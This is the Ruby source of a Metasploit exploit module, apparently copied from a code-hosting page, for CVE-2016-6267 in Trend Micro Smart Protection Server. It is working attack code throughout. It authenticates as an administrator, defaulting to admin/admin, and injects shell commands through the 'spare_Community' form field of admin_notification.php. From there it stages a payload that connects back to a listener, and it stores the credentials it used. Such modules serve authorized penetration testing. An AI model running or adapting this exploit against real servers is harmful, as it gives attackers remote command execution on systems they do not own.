209 lines
6.8 KiB
Ruby
209 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'openssl'
|
|
require 'base64'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
|
|
Please note: authentication is required to exploit this vulnerability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE-ID', 'CVE-2016-6267']
|
|
],
|
|
'Platform' => 'linux',
|
|
'Targets' => [ [ 'Linux', {} ] ],
|
|
'Payload' => { 'BadChars' => "\x00" },
|
|
'CmdStagerFlavor' => [ 'bourne' ],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true
|
|
},
|
|
'DisclosureDate' => "Aug 8 2016",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
|
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
|
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
|
|
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
|
|
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
|
|
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def check
|
|
opts = login
|
|
if opts
|
|
uri = target_uri.path
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
|
|
'headers'=>
|
|
{
|
|
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
|
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
|
}
|
|
})
|
|
if res and res.code == 200
|
|
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
|
|
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
|
|
print_status("TrendMicro Smart Protection Server detected.")
|
|
print_status("Version: #{version}")
|
|
print_status("Build: #{build}")
|
|
if (version == 3.0 and build < 1330) or
|
|
(version == 2.6 and build < 2106) or
|
|
(version == 2.5 and build < 2200)
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
end
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
|
|
def execute_command(cmd, opts = {})
|
|
uri = target_uri.path
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'version' => '1.0',
|
|
'timeout' => 1,
|
|
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'headers'=>
|
|
{
|
|
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
|
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
|
},
|
|
'vars_post' => {
|
|
'EnableSNMP' => 'on',
|
|
'Community' => 'hello',
|
|
'submit' => 'Save',
|
|
'pubkey' => '',
|
|
'spare_EnableSNMP' => 1,
|
|
'spare_Community' => "test;#{cmd}",
|
|
'spare_EnableIPRestriction' => 0,
|
|
'spare_AllowGroupIP' => '',
|
|
'spare_AllowGroupNetmask' => '',
|
|
'sid' => opts["sid"]
|
|
}
|
|
})
|
|
end
|
|
|
|
def login
|
|
uri = target_uri.path
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
})
|
|
if res and res.code == 200 and !res.get_cookies.empty?
|
|
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
|
|
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
|
|
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
|
|
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
|
|
asn1_sequence = OpenSSL::ASN1::Sequence.new(
|
|
[
|
|
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
|
|
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
|
|
]
|
|
)
|
|
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
|
|
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
|
|
data = Base64.encode64(public_key.public_encrypt(creds))
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, "auth.php"),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'headers'=>
|
|
{
|
|
'Cookie' => "#{sid}=#{sid_value}",
|
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
|
},
|
|
'vars_post' => {
|
|
'data' => data,
|
|
'sid' => sid
|
|
}
|
|
})
|
|
if res and res.code == 302
|
|
if res.headers.key?('Set-Cookie')
|
|
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
|
|
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
|
|
end
|
|
report_cred(
|
|
ip: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
service_name: (ssl ? "https" : "http"),
|
|
user: datastore['ADMINACCOUNT'],
|
|
password: datastore['ADMINPASS'],
|
|
proof: "#{sid}=#{sid_value}"
|
|
)
|
|
return {"sid" => sid, "sid_value" => sid_value}
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def exploit
|
|
opts = login
|
|
if opts
|
|
print_status("Successfully logged in.")
|
|
print_status("Exploiting...")
|
|
execute_cmdstager(opts=opts)
|
|
else
|
|
print_error("An error occured while loggin in.")
|
|
end
|
|
end
|
|
end
|